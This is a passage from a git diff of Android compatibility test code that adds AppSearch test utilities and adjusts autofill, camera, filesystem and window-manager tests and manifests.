+ * documents, since the app is the only user of the Icing instance. Icing still enforces a docid
+ * limit of 1M docs.
+ */
+public class UnlimitedLimitConfig implements LimitConfig {
+ @Override
+ public int getMaxDocumentSizeBytes() {
+ return Integer.MAX_VALUE;
+ }
+
+ @Override
+ public int getMaxDocumentCount() {
+ return Integer.MAX_VALUE;
+ }
+
+ @Override
+ public int getMaxSuggestionCount() {
+ return Integer.MAX_VALUE;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java
new file mode 100644
index 00000000000..c133aa311af
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchEmail.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSchema.StringPropertyConfig;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.annotation.CanIgnoreReturnValue;
+
+/**
+ * Encapsulates a {@link GenericDocument} that represent an email.
+ *
+ * <p>This class is a higher level implement of {@link GenericDocument}.
+ *
+ * @hide
+ */
+public class AppSearchEmail extends GenericDocument {
+ /** The name of the schema type for {@link AppSearchEmail} documents. */
+ public static final String SCHEMA_TYPE = "builtin:Email";
+
+ private static final String KEY_FROM = "from";
+ private static final String KEY_TO = "to";
+ private static final String KEY_CC = "cc";
+ private static final String KEY_BCC = "bcc";
+ private static final String KEY_SUBJECT = "subject";
+ private static final String KEY_BODY = "body";
+
+ public static final AppSearchSchema SCHEMA =
+ new AppSearchSchema.Builder(SCHEMA_TYPE)
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_FROM)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_TO)
+ .setCardinality(PropertyConfig.CARDINALITY_REPEATED)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_CC)
+ .setCardinality(PropertyConfig.CARDINALITY_REPEATED)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_BCC)
+ .setCardinality(PropertyConfig.CARDINALITY_REPEATED)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_SUBJECT)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .addProperty(
+ new StringPropertyConfig.Builder(KEY_BODY)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .build();
+
+ /**
+ * Creates a new {@link AppSearchEmail} from the contents of an existing {@link
+ * GenericDocument}.
+ *
+ * @param document The {@link GenericDocument} containing the email content.
+ */
+ public AppSearchEmail(@NonNull GenericDocument document) {
+ super(document);
+ }
+
+ /**
+ * Gets the from address of {@link AppSearchEmail}.
+ *
+ * @return The subject of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String getFrom() {
+ return getPropertyString(KEY_FROM);
+ }
+
+ /**
+ * Gets the destination addresses of {@link AppSearchEmail}.
+ *
+ * @return The destination addresses of {@link AppSearchEmail} or {@code null} if it's not been
+ * set yet.
+ */
+ @Nullable
+ public String[] getTo() {
+ return getPropertyStringArray(KEY_TO);
+ }
+
+ /**
+ * Gets the CC list of {@link AppSearchEmail}.
+ *
+ * @return The CC list of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String[] getCc() {
+ return getPropertyStringArray(KEY_CC);
+ }
+
+ /**
+ * Gets the BCC list of {@link AppSearchEmail}.
+ *
+ * @return The BCC list of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String[] getBcc() {
+ return getPropertyStringArray(KEY_BCC);
+ }
+
+ /**
+ * Gets the subject of {@link AppSearchEmail}.
+ *
+ * @return The value subject of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String getSubject() {
+ return getPropertyString(KEY_SUBJECT);
+ }
+
+ /**
+ * Gets the body of {@link AppSearchEmail}.
+ *
+ * @return The body of {@link AppSearchEmail} or {@code null} if it's not been set yet.
+ */
+ @Nullable
+ public String getBody() {
+ return getPropertyString(KEY_BODY);
+ }
+
+ /** The builder class for {@link AppSearchEmail}. */
+ public static class Builder extends GenericDocument.Builder<Builder> {
+ /**
+ * Creates a new {@link Builder}
+ *
+ * @param namespace The namespace of the Email.
+ * @param id The ID of the Email.
+ */
+ public Builder(@NonNull String namespace, @NonNull String id) {
+ super(namespace, id, SCHEMA_TYPE);
+ }
+
+ /** Sets the from address of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setFrom(@NonNull String from) {
+ return setPropertyString(KEY_FROM, from);
+ }
+
+ /** Sets the destination address of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setTo(@NonNull String... to) {
+ return setPropertyString(KEY_TO, to);
+ }
+
+ /** Sets the CC list of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setCc(@NonNull String... cc) {
+ return setPropertyString(KEY_CC, cc);
+ }
+
+ /** Sets the BCC list of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setBcc(@NonNull String... bcc) {
+ return setPropertyString(KEY_BCC, bcc);
+ }
+
+ /** Sets the subject of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setSubject(@NonNull String subject) {
+ return setPropertyString(KEY_SUBJECT, subject);
+ }
+
+ /** Sets the body of {@link AppSearchEmail} */
+ @CanIgnoreReturnValue
+ @NonNull
+ public Builder setBody(@NonNull String body) {
+ return setPropertyString(KEY_BODY, body);
+ }
+
+ /** Builds the {@link AppSearchEmail} object. */
+ @NonNull
+ @Override
+ public AppSearchEmail build() {
+ return new AppSearchEmail(super.build());
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java
new file mode 100644
index 00000000000..d0fceb5b076
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/AppSearchTestUtils.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+
+import com.android.server.appsearch.external.localstorage.visibilitystore.VisibilityChecker;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Future;
+
+/**
+ * Class with helper functions for testing for AppSearch.
+ *
+ * @hide
+ */
+public class AppSearchTestUtils {
+ private AppSearchTestUtils() {}
+
+ /** Checks batch result. */
+ @NonNull
+ public static <K, V> AppSearchBatchResult<K, V> checkIsBatchResultSuccess(
+ @NonNull Future<AppSearchBatchResult<K, V>> future) throws Exception {
+ AppSearchBatchResult<K, V> result = future.get();
+ assertWithMessage("AppSearchBatchResult not successful: " + result)
+ .that(result.isSuccess())
+ .isTrue();
+ return result;
+ }
+
+ /** Gets documents from ids. */
+ @NonNull
+ public static List<GenericDocument> doGet(
+ @NonNull AppSearchSessionShim session,
+ @NonNull String namespace,
+ @NonNull String... ids)
+ throws Exception {
+ AppSearchBatchResult<String, GenericDocument> result =
+ checkIsBatchResultSuccess(
+ session.getByDocumentIdAsync(
+ new GetByDocumentIdRequest.Builder(namespace).addIds(ids).build()));
+ assertThat(result.getSuccesses()).hasSize(ids.length);
+ assertThat(result.getFailures()).isEmpty();
+ List<GenericDocument> list = new ArrayList<>(ids.length);
+ for (String id : ids) {
+ list.add(result.getSuccesses().get(id));
+ }
+ return list;
+ }
+
+ /** Gets documents from {@link GetByDocumentIdRequest}. */
+ @NonNull
+ public static List<GenericDocument> doGet(
+ @NonNull AppSearchSessionShim session, @NonNull GetByDocumentIdRequest request)
+ throws Exception {
+ AppSearchBatchResult<String, GenericDocument> result =
+ checkIsBatchResultSuccess(session.getByDocumentIdAsync(request));
+ Set<String> ids = request.getIds();
+ assertThat(result.getSuccesses()).hasSize(ids.size());
+ assertThat(result.getFailures()).isEmpty();
+ List<GenericDocument> list = new ArrayList<>(ids.size());
+ for (String id : ids) {
+ list.add(result.getSuccesses().get(id));
+ }
+ return list;
+ }
+
+ /** Extracts documents from {@link SearchResultsShim}. */
+ @NonNull
+ public static List<GenericDocument> convertSearchResultsToDocuments(
+ @NonNull SearchResultsShim searchResults) throws Exception {
+ List<SearchResult> results = retrieveAllSearchResults(searchResults);
+ List<GenericDocument> documents = new ArrayList<>(results.size());
+ for (SearchResult result : results) {
+ documents.add(result.getGenericDocument());
+ }
+ return documents;
+ }
+
+ /** Extracts all {@link SearchResult} from {@link SearchResultsShim}. */
+ @NonNull
+ public static List<SearchResult> retrieveAllSearchResults(
+ @NonNull SearchResultsShim searchResults) throws Exception {
+ List<SearchResult> page = searchResults.getNextPageAsync().get();
+ List<SearchResult> results = new ArrayList<>();
+ while (!page.isEmpty()) {
+ results.addAll(page);
+ page = searchResults.getNextPageAsync().get();
+ }
+ return results;
+ }
+
+ /**
+ * Creates a mock {@link VisibilityChecker}.
+ *
+ * @param visiblePrefixedSchemas Schema types that are accessible to any caller.
+ * @return
+ */
+ @NonNull
+ public static VisibilityChecker createMockVisibilityChecker(
+ @NonNull Set<String> visiblePrefixedSchemas) {
+ return (callerAccess, packageName, prefixedSchema, visibilityStore) ->
+ visiblePrefixedSchemas.contains(prefixedSchema);
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java
new file mode 100644
index 00000000000..0499219c19e
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/SimpleTestLogger.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.appsearch.stats.SchemaMigrationStats;
+
+import com.android.server.appsearch.external.localstorage.AppSearchLogger;
+import com.android.server.appsearch.external.localstorage.stats.CallStats;
+import com.android.server.appsearch.external.localstorage.stats.InitializeStats;
+import com.android.server.appsearch.external.localstorage.stats.OptimizeStats;
+import com.android.server.appsearch.external.localstorage.stats.PutDocumentStats;
+import com.android.server.appsearch.external.localstorage.stats.RemoveStats;
+import com.android.server.appsearch.external.localstorage.stats.SearchStats;
+import com.android.server.appsearch.external.localstorage.stats.SetSchemaStats;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Non-thread-safe simple logger implementation for testing.
+ *
+ * @hide
+ */
+public final class SimpleTestLogger implements AppSearchLogger {
+ /** Holds {@link CallStats} after logging. */
+ @Nullable public CallStats mCallStats;
+ /** Holds {@link PutDocumentStats} after logging. */
+ @Nullable public PutDocumentStats mPutDocumentStats;
+ /** Holds {@link InitializeStats} after logging. */
+ @Nullable public InitializeStats mInitializeStats;
+ /** Holds {@link SearchStats} after logging. */
+ @Nullable public SearchStats mSearchStats;
+ /** Holds {@link RemoveStats} after logging. */
+ @Nullable public RemoveStats mRemoveStats;
+ /** Holds {@link OptimizeStats} after logging. */
+ @Nullable public OptimizeStats mOptimizeStats;
+ /** Holds {@link SetSchemaStats} after logging. */
+ @NonNull public List<SetSchemaStats> mSetSchemaStats = new ArrayList<>();
+ /** Holds {@link android.app.appsearch.stats.SchemaMigrationStats} after logging. */
+ @Nullable public SchemaMigrationStats mSchemaMigrationStats;
+
+ @Override
+ public void logStats(@NonNull CallStats stats) {
+ mCallStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull PutDocumentStats stats) {
+ mPutDocumentStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull InitializeStats stats) {
+ mInitializeStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull SearchStats stats) {
+ mSearchStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull RemoveStats stats) {
+ mRemoveStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull OptimizeStats stats) {
+ mOptimizeStats = stats;
+ }
+
+ @Override
+ public void logStats(@NonNull SetSchemaStats stats) {
+ mSetSchemaStats.add(stats);
+ }
+
+ @Override
+ public void logStats(@NonNull SchemaMigrationStats stats) {
+ mSchemaMigrationStats = stats;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java
new file mode 100644
index 00000000000..7a4c7b52d85
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/testutil/TestObserverCallback.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.app.appsearch.observer.DocumentChangeInfo;
+import android.app.appsearch.observer.ObserverCallback;
+import android.app.appsearch.observer.SchemaChangeInfo;
+
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * An implementation of {@link android.app.appsearch.observer.ObserverCallback} for testing that
+ * caches its notifications in memory.
+ *
+ * <p>You should wait for all notifications to be delivered using {@link #waitForNotificationCount}
+ * before using the public lists to avoid concurrency issues.
+ *
+ * @hide
+ */
+public class TestObserverCallback implements ObserverCallback {
+ private final Object mLock = new Object();
+
+ private final List<SchemaChangeInfo> mSchemaChanges = new ArrayList<>();
+ private final List<DocumentChangeInfo> mDocumentChanges = new ArrayList<>();
+
+ @GuardedBy("mLock")
+ private int mNotificationCountLocked = 0;
+
+ @Override
+ public void onSchemaChanged(@NonNull SchemaChangeInfo changeInfo) {
+ synchronized (mLock) {
+ mSchemaChanges.add(changeInfo);
+ incrementNotificationCountLocked();
+ }
+ }
+
+ @Override
+ public void onDocumentChanged(@NonNull DocumentChangeInfo changeInfo) {
+ synchronized (mLock) {
+ mDocumentChanges.add(changeInfo);
+ incrementNotificationCountLocked();
+ }
+ }
+
+ /**
+ * Waits for the total number of notifications this observer has seen to be equal to {@code
+ * expectedCount}.
+ *
+ * <p>If the number of cumulative received notifications is currently less than {@code
+ * expectedCount}, this method will block.
+ *
+ * @throws IllegalStateException If the current count of received notifications is currently
+ * greater than {@code expectedCount}.
+ */
+ public void waitForNotificationCount(int expectedCount) throws InterruptedException {
+ while (true) {
+ synchronized (mLock) {
+ int actualCount = mNotificationCountLocked;
+ if (actualCount > expectedCount) {
+ throw new IllegalStateException(
+ "Caller was waiting for "
+ + expectedCount
+ + " notifications but there are"
+ + " already "
+ + actualCount
+ + ".\n Schema changes: "
+ + mSchemaChanges
+ + "\n Document changes: "
+ + mDocumentChanges);
+ } else if (actualCount == expectedCount) {
+ return;
+ } else {
+ mLock.wait();
+ }
+ }
+ }
+ }
+
+ /** Gets all schema changes that have been observed so far. */
+ // Note: although these are lists, their order is arbitrary and depends on the order in which
+ // the executor provided to GlobalSearchSessionShim#adObserver dispatches the notifications.
+ // Therefore they are declared as iterables instead of lists, to reduce the risk that they will
+ // be inspected by index.
+ @NonNull
+ public Iterable<SchemaChangeInfo> getSchemaChanges() {
+ return mSchemaChanges;
+ }
+
+ /** Gets all document changes that have been observed so far. */
+ // Note: although these are lists, their order is arbitrary and depends on the order in which
+ // the executor provided to GlobalSearchSessionShim#adObserver dispatches the notifications.
+ // Therefore they are declared as iterables instead of lists, to reduce the risk that they will
+ // be inspected by index.
+ @NonNull
+ public Iterable<DocumentChangeInfo> getDocumentChanges() {
+ return mDocumentChanges;
+ }
+
+ /** Removes all notifications captured by this callback and resets the count to 0. */
+ public void clear() {
+ synchronized (mLock) {
+ mSchemaChanges.clear();
+ mDocumentChanges.clear();
+ mNotificationCountLocked = 0;
+ mLock.notifyAll();
+ }
+ }
+
+ private void incrementNotificationCountLocked() {
+ synchronized (mLock) {
+ mNotificationCountLocked++;
+ mLock.notifyAll();
+ }
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java
new file mode 100644
index 00000000000..6b2e1431180
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/**
+ * @hide
+ */
+package android.app.appsearch.testutil;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index 07cb853e660..9716c001570 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -137,19 +137,22 @@ public final class AutoFillServiceTestCase {
@Override
protected TestRule getMainTestRule() {
- try {
- // Set orientation as portrait before auto-launch an activity,
- // otherwise some tests might fail due to elements not fitting
- // in, IME orientation, etc...
- // Many tests will hold Activity in afterActivityLaunched() by
- // overriding ActivityRule. If rotating after the activity has
- // started, these tests will keep the old activity. All actions
- // on the wrong activity did not happen as expected.
- getDropdownUiBot().setScreenOrientation(UiBot.PORTRAIT);
- } catch (Exception e) {
- throw new RuntimeException(e);
+ // Don't try to set orientation when device is in half-opened state
+ // The assumeFalse line in @Before would skip the half-opened tests.
+ if(!Helper.isDeviceInState(sContext, Helper.DeviceStateEnum.HALF_FOLDED)) {
+ try {
+ // Set orientation as portrait before auto-launch an activity,
+ // otherwise some tests might fail due to elements not fitting
+ // in, IME orientation, etc...
+ // Many tests will hold Activity in afterActivityLaunched() by
+ // overriding ActivityRule. If rotating after the activity has
+ // started, these tests will keep the old activity. All actions
+ // on the wrong activity did not happen as expected.
+ getDropdownUiBot().setScreenOrientation(UiBot.PORTRAIT);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
}
-
return getActivityRule();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
index aebb835827b..15fc1ed2af4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
@@ -3072,7 +3072,7 @@ public class LoginActivityTest extends LoginActivityCommonTestCase {
public void testSwitchInputMethod_noNewFillRequest() throws Exception {
// TODO(b/187664861): Find better solution for small display device.
mUiBot.assumeMinimumResolution(500);
-
+ mUiBot.setScreenResolution();
// Set service
enableService();
@@ -3103,5 +3103,6 @@ public class LoginActivityTest extends LoginActivityCommonTestCase {
// No new fill request
sReplier.assertNoUnhandledFillRequests();
+ mUiBot.resetScreenResolution();
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
index 95a232a0717..e10c9c22072 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -246,7 +246,7 @@ public class UiBot {
@Deprecated
// TODO: remove once we're sure no more OEM is getting failure due to screen size
public void setScreenResolution() {
- if (true) {
+ if (false) {
Log.w(TAG, "setScreenResolution(): ignored");
return;
}
@@ -266,7 +266,7 @@ public class UiBot {
@Deprecated
// TODO: remove once we're sure no more OEM is getting failure due to screen size
public void resetScreenResolution() {
- if (true) {
+ if (false) {
Log.w(TAG, "resetScreenResolution(): ignored");
return;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 3ac79f928f1..a0cde43900b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -3583,14 +3583,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
// H-1-13
- int facing = staticInfo.getLensFacingChecked();
- int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
- boolean logicalMultiCameraReqMet =
- (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
if (isPrimaryRear) {
+ int facing = staticInfo.getLensFacingChecked();
+ int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
+ boolean logicalMultiCameraReqMet =
+ (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
- } else {
- logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
}
// H-1-14
@@ -3627,7 +3625,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(false);
previewStabilizationReq.setFrontPreviewStabilizationSupported(false);
- logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(false);
streamUseCaseReq.setFrontStreamUseCaseSupported(false);
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 1979805b8dd..ca5d18c5669 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -984,6 +984,7 @@ public class PerformanceTest {
final int ZOOM_STEPS = 5;
final float ZOOM_ERROR_MARGIN = 0.05f;
final int ZOOM_IN_MIN_IMPROVEMENT_IN_FRAMES = 1;
+ final int MAX_IMPROVEMENT_VARIATION = 2;
for (String id : mTestRule.getCameraIdsUnderTest()) {
StaticMetadata staticMetadata = mTestRule.getAllStaticInfo().get(id);
CameraCharacteristics ch = staticMetadata.getCharacteristics();
@@ -1093,6 +1094,10 @@ public class PerformanceTest {
sequenceId = newSequenceId;
}
+ int variation = Arrays.stream(overrideImprovements).max().getAsInt() -
+ Arrays.stream(overrideImprovements).min().getAsInt();
+ assertTrue(String.format("Zoom latency improvement variation %d is too large",
+ variation), variation <= MAX_IMPROVEMENT_VARIATION);
mReportLog.addValues("Camera zoom ratios", zoomRatios, ResultType.NEUTRAL,
ResultUnit.NONE);
mReportLog.addValues("Latency improvements", overrideImprovements,
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index a4c6454c130..9ce3cbff648 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -54,7 +54,7 @@ public class SequentialRWTest {
private static final String DIR_SEQ_UPDATE = "SEQ_UPDATE";
private static final String DIR_SEQ_RD = "SEQ_RD";
private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
- private static final int BUFFER_SIZE = 10 * 1024 * 1024;
+ private static final int BUFFER_SIZE = 100 * 1024 * 1024;
@Rule
public final TestName mTestName = new TestName();
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index ee157824343..ea2ffa70a76 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -39,9 +39,6 @@
android:requestLegacyExternalStorage="true"
android:enableOnBackInvokedCallback="false"
android:testOnly="true">
- <property
- android:name="android.window.PROPERTY_ACTIVITY_EMBEDDING_SPLITS_ENABLED"
- android:value="true"/>
<uses-library android:name="android.test.runner"/>
<uses-library android:name="androidx.window.extensions"
android:required="false" />
@@ -570,10 +567,6 @@
<activity android:name="android.server.wm.SplitActivityLifecycleTest$ActivityC"
android:exported="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
- <activity android:name="android.server.wm.SplitActivityLifecycleTest$PortraitActivity"
- android:exported="true"
- android:screenOrientation="portrait"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
<activity android:name="android.server.wm.SplitActivityLifecycleTest$TranslucentActivity"
android:exported="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
diff --git a/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml
index 65428a30a0f..ed598187aab 100755..100644
--- a/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml
@@ -19,10 +19,18 @@
package="android.server.wm.jetpack.second">
<application>
+ <property
+ android:name="android.window.PROPERTY_ACTIVITY_EMBEDDING_SPLITS_ENABLED"
+ android:value="true"/>
+
<activity
android:name=".SecondActivity"
android:exported="true" />
<activity
+ android:name=".PortraitActivity"
+ android:screenOrientation="portrait"
+ android:exported="true" />
+ <activity
android:name=".SecondActivityAllowsUntrustedEmbedding"
android:allowUntrustedActivityEmbedding="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
diff --git a/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java
index 0d1184cae42..8d043294b49 100644
--- a/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java
+++ b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java
@@ -23,6 +23,8 @@ public class Components extends ComponentsBase {
